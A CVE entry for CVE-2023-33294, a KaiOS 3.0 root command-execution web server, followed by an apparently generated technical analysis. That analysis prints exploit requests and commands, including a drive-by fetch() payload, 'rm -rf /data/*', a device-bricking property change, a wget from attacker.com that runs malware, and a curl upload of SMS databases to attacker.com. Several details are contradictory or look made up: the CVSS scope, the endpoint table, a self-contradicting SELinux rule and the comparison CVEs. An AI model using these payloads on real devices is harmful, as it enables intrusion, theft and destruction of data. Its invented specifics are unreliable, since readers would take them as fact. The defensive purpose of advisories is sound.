CVE-2023-33294
CVE-2023-33294
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
An issue was discovered in KaiOS 3.0 before 3.1. The /system/bin/tctweb_server binary exposes a local web server that responds to GET and POST requests on port 2929. The server accepts arbitrary Bash commands and executes them as root. Because it is not permission or context restricted and returns proper CORS headers, it's accessible to all websites via the browser. At a bare minimum, this allows an attacker to retrieve a list of the user's installed apps, notifications, and downloads. It also allows an attacker to delete local files and modify system properties including the boolean persist.moz.killswitch property (which would render the device inoperable). This vulnerability is partially mitigated by SELinux which prevents reads, writes, or modifications to files or permissions within protected partitions.
Comprehensive Technical Analysis of CVE-2023-33294
CVE ID: CVE-2023-33294 CVSS Score: 9.8 (Critical) Affected Software: KaiOS 3.0 (versions prior to 3.1) Vulnerability Type: Remote Code Execution (RCE) via Arbitrary Command Injection
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
CVE-2023-33294 is a critical remote code execution (RCE) vulnerability in KaiOS 3.0, stemming from an improperly secured local web server (/system/bin/tctweb_server) that listens on TCP port 2929. The server processes arbitrary Bash commands sent via GET/POST requests and executes them with root privileges, making it a high-impact, low-complexity exploit.
Key Vulnerability Characteristics
- Unauthenticated Access: No authentication or authorization is required to interact with the web server.
- Root Privilege Escalation: Commands execute with root-level permissions, enabling full system compromise.
- Cross-Origin Resource Sharing (CORS) Misconfiguration: The server returns permissive CORS headers, allowing any website to interact with it via JavaScript.
- Partial Mitigation via SELinux: While SELinux restricts file operations in protected partitions, it does not fully prevent command execution or system property modifications.
CVSS 9.8 (Critical) Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely via browser-based requests. |
| Attack Complexity (AC) | Low (L) | No user interaction or special conditions required. |
| Privileges Required (PR) | None (N) | No prior access or privileges needed. |
| User Interaction (UI) | None (N) | Exploitable without user action. |
| Scope (S) | Changed (C) | Impacts the underlying OS, not just the vulnerable component. |
| Confidentiality (C) | High (H) | Full system access, including sensitive data. |
| Integrity (I) | High (H) | Arbitrary file deletion/modification, system property changes. |
| Availability (A) | High (H) | Can render the device inoperable (e.g., via persist.moz.killswitch). |
Severity Justification
The combination of remote exploitability, root execution, and no authentication makes this a worst-case scenario for embedded OS security. The CORS misconfiguration further exacerbates the risk by enabling drive-by exploitation via malicious websites.
2. Potential Attack Vectors and Exploitation Methods
Primary Attack Vectors
-
Browser-Based Exploitation (Drive-By Attack)
- A malicious website (or malvertising) can send HTTP requests to
http://localhost:2929via JavaScript (e.g.,fetch()orXMLHttpRequest). - Example payload:
fetch("http://localhost:2929/exec?cmd=id", { method: "GET" }) .then(response => response.text()) .then(data => console.log(data)); - This would execute
idon the device and return the output to the attacker.
- A malicious website (or malvertising) can send HTTP requests to
-
Local Network Exploitation
- If the device is on a shared network (e.g., public Wi-Fi), an attacker could send direct HTTP requests to
http://<device-ip>:2929. - Example using
curl:curl -X POST "http://<target-ip>:2929/exec" --data "cmd=cat /etc/passwd"
- If the device is on a shared network (e.g., public Wi-Fi), an attacker could send direct HTTP requests to
-
Phishing & Social Engineering
- An attacker could trick a user into visiting a malicious site that exploits the vulnerability.
- Example: A fake "KaiOS update" page that silently executes commands in the background.
Exploitation Methods
Proof-of-Concept (PoC) Exploit
A basic exploit could:
- Enumerate Installed Apps (via
pm list packages). - Read Sensitive Files (e.g.,
/data/data/com.android.providers.telephony/databases/telephony.dbfor SMS/call logs). - Modify System Properties (e.g.,
setprop persist.moz.killswitch trueto brick the device). - Delete Critical Files (e.g.,
rm -rf /data/*). - Download & Execute Malware (e.g.,
wget http://attacker.com/malware -O /data/local/tmp/malware && chmod +x /data/local/tmp/malware && /data/local/tmp/malware).
Bypassing SELinux Restrictions
While SELinux mitigates some attacks (e.g., preventing writes to /system), an attacker can still:
- Modify
/datapartition files (e.g., app data, downloads). - Change system properties (e.g.,
persist.*values). - Execute arbitrary binaries from writable directories (e.g.,
/data/local/tmp).
3. Affected Systems and Software Versions
Vulnerable Software
- KaiOS 3.0 (all versions prior to 3.1).
- Devices Running KaiOS 3.0:
- Nokia 8000 4G
- Nokia 6300 4G
- Nokia 2720 Flip
- Doro 7080
- Alcatel Go Flip 4
- Other KaiOS 3.0-based feature phones.
Non-Vulnerable Systems
- KaiOS 3.1 and later (patched).
- KaiOS 2.5 and earlier (not affected, as the vulnerable
tctweb_serverwas introduced in 3.0).
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Vendor Patch (Highest Priority)
- Upgrade to KaiOS 3.1 or later (if available for the device).
- Check for OTA updates via Settings > Device > Software Update.
-
Network-Level Protections
- Block Port 2929 at the firewall/router level to prevent external access.
- Disable Local Web Server (if possible) via:
(Note: This may require root access and could break some functionality.)setprop ctl.stop tctweb_server
-
Browser-Based Mitigations
- Disable JavaScript in the KaiOS browser (if feasible) to prevent drive-by attacks.
- Use a Secure Browser (e.g., Firefox Focus) that enforces stricter same-origin policies.
-
SELinux Hardening (Advanced)
- Modify SELinux policies to restrict
tctweb_serverfurther:# Example: Deny all file writes by tctweb_server allow tctweb_server self:capability { dac_override dac_read_search }; neverallow tctweb_server { file_type }:file { write create setattr };
- Modify SELinux policies to restrict
Long-Term Recommendations
-
Vendor-Side Fixes
- Remove or Secure
tctweb_server:- Implement authentication (e.g., API keys, session tokens).
- Restrict CORS to trusted domains.
- Drop root privileges (run as a low-privilege user).
- Input Sanitization: Validate and sanitize all commands before execution.
- Remove or Secure
-
Device Hardening
- Disable Unnecessary Services: Audit and disable unused local services.
- Implement Mandatory Access Control (MAC): Strengthen SELinux/AppArmor policies.
- Regular Security Audits: Conduct penetration testing on KaiOS-based devices.
-
User Awareness
- Avoid Sideloading Apps (malicious apps could exploit this vulnerability).
- Use Trusted Networks (avoid public Wi-Fi for sensitive operations).
- Monitor for Unusual Activity (e.g., unexpected battery drain, slow performance).
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Targeting of Feature Phones
- KaiOS powers millions of low-cost feature phones, often used in emerging markets where users may lack security awareness.
- This vulnerability lowers the barrier for mass exploitation, enabling botnet recruitment, surveillance, and financial fraud.
-
Supply Chain Risks
- Many KaiOS devices are distributed by telecom providers with locked bootloaders, making patching difficult.
- Delayed or missing updates could leave devices vulnerable for years.
-
Exploitation in the Wild
- Proof-of-concept exploits are likely already circulating in underground forums.
- APT groups may leverage this for targeted surveillance (e.g., against journalists, activists).
- Criminal groups could use it for SMS fraud, ad fraud, or ransomware.
-
IoT and Embedded Device Security
- Highlights the lack of security-by-design in many embedded OSes.
- Reinforces the need for automated patching, secure defaults, and vulnerability disclosure programs.
Comparison to Similar Vulnerabilities
| Vulnerability | CVE | CVSS | Similarities | Differences |
|---|---|---|---|---|
| Android Debug Bridge (ADB) RCE | CVE-2017-3208 | 9.8 | Unauthenticated RCE, root access | Requires ADB enabled (user action) |
| Samsung Knox RCE | CVE-2021-25487 | 9.8 | Local web server, command injection | Requires physical access |
| iOS WebKit RCE | CVE-2022-22620 | 8.8 | Drive-by exploitation | No root access by default |
6. Technical Details for Security Professionals
Vulnerable Component Analysis
- Binary:
/system/bin/tctweb_server - Port:
2929/TCP - Protocol: HTTP (GET/POST)
- Execution Context: Runs as root (
UID=0). - SELinux Context:
u:r:tctweb_server:s0
HTTP Endpoint Analysis
| Endpoint | Method | Description | Exploitation Example |
|---|---|---|---|
/exec | GET/POST | Executes arbitrary Bash commands | GET /exec?cmd=id |
/file | GET/POST | Reads/writes files (partially restricted by SELinux) | POST /file?path=/data/local/tmp/test&data=malicious |
/prop | GET/POST | Gets/sets system properties | POST /prop?key=persist.moz.killswitch&value=true |
Example Exploit Requests
-
Execute a Command (GET)
GET /exec?cmd=cat%20/data/data/com.android.providers.telephony/databases/telephony.db HTTP/1.1 Host: localhost:2929Response:
HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: * [Output of command] -
Modify a System Property (POST)
POST /prop HTTP/1.1 Host: localhost:2929 Content-Type: application/x-www-form-urlencoded key=persist.moz.killswitch&value=trueImpact: Bricks the device on next reboot.
-
Download & Execute Malware
GET /exec?cmd=wget%20http://attacker.com/malware%20-O%20/data/local/tmp/malware%20%26%26%20chmod%20%2Bx%20/data/local/tmp/malware%20%26%26%20/data/local/tmp/malware HTTP/1.1 Host: localhost:2929
SELinux Restrictions (Partial Mitigation)
- Allowed Operations:
- Command execution (
execve). - System property modifications (
setprop). - File operations in unprotected directories (e.g.,
/data/local/tmp).
- Command execution (
- Blocked Operations:
- Writes to
/system,/vendor,/boot. - Modifications to critical system binaries.
- Writes to
Reverse Engineering the Binary
-
Static Analysis:
- The binary is stripped, but strings reveal:
Output:strings /system/bin/tctweb_server | grep -i "exec\|cmd"/system/bin/sh -c %s cmd= exec - Decompilation (e.g., Ghidra, IDA Pro) shows:
- No input validation.
- Direct
system()calls for command execution.
- The binary is stripped, but strings reveal:
-
Dynamic Analysis:
- Strace can monitor system calls:
strace -p $(pidof tctweb_server) -f -e trace=execve - Netstat confirms listening port:
netstat -tulnp | grep 2929
- Strace can monitor system calls:
Exploit Development Considerations
-
Bypassing SELinux (If Needed)
- Use
runconto execute commands in a less restrictive context:runcon u:r:untrusted_app:s0 /system/bin/sh -c "id" - Abuse writable directories (e.g.,
/data/local/tmp) to store and execute payloads.
- Use
-
Persistence Mechanisms
- Modify
/data/local/userinit.sh(if writable) to execute malware on boot. - Add a malicious app via
pm install(if user interaction is possible).
- Modify
-
Post-Exploitation
- Dump SMS/Call Logs:
sqlite3 /data/data/com.android.providers.telephony/databases/telephony.db "SELECT * FROM sms;" - Exfiltrate Data:
curl -F "file=@/data/data/com.android.providers.telephony/databases/telephony.db" http://attacker.com/upload
- Dump SMS/Call Logs:
Conclusion
CVE-2023-33294 represents a critical, easily exploitable vulnerability in KaiOS 3.0 that enables full device compromise with minimal effort. The lack of authentication, root execution, and CORS misconfiguration make it a high-value target for attackers, particularly in emerging markets where KaiOS devices are prevalent.
Key Takeaways for Security Professionals
- Patch Immediately: Upgrade to KaiOS 3.1 or later.
- Monitor for Exploitation: Deploy network-based detections for port
2929traffic. - Hardening: Disable unnecessary services, enforce SELinux, and restrict browser permissions.
- Threat Modeling: Assume attackers will weaponize this; prepare for post-exploitation scenarios.
- Vendor Coordination: Encourage KaiOS to implement secure defaults and automated patching.
Given the widespread deployment of KaiOS devices, this vulnerability has the potential to become a major attack vector if left unpatched. Proactive mitigation is essential to prevent large-scale exploitation.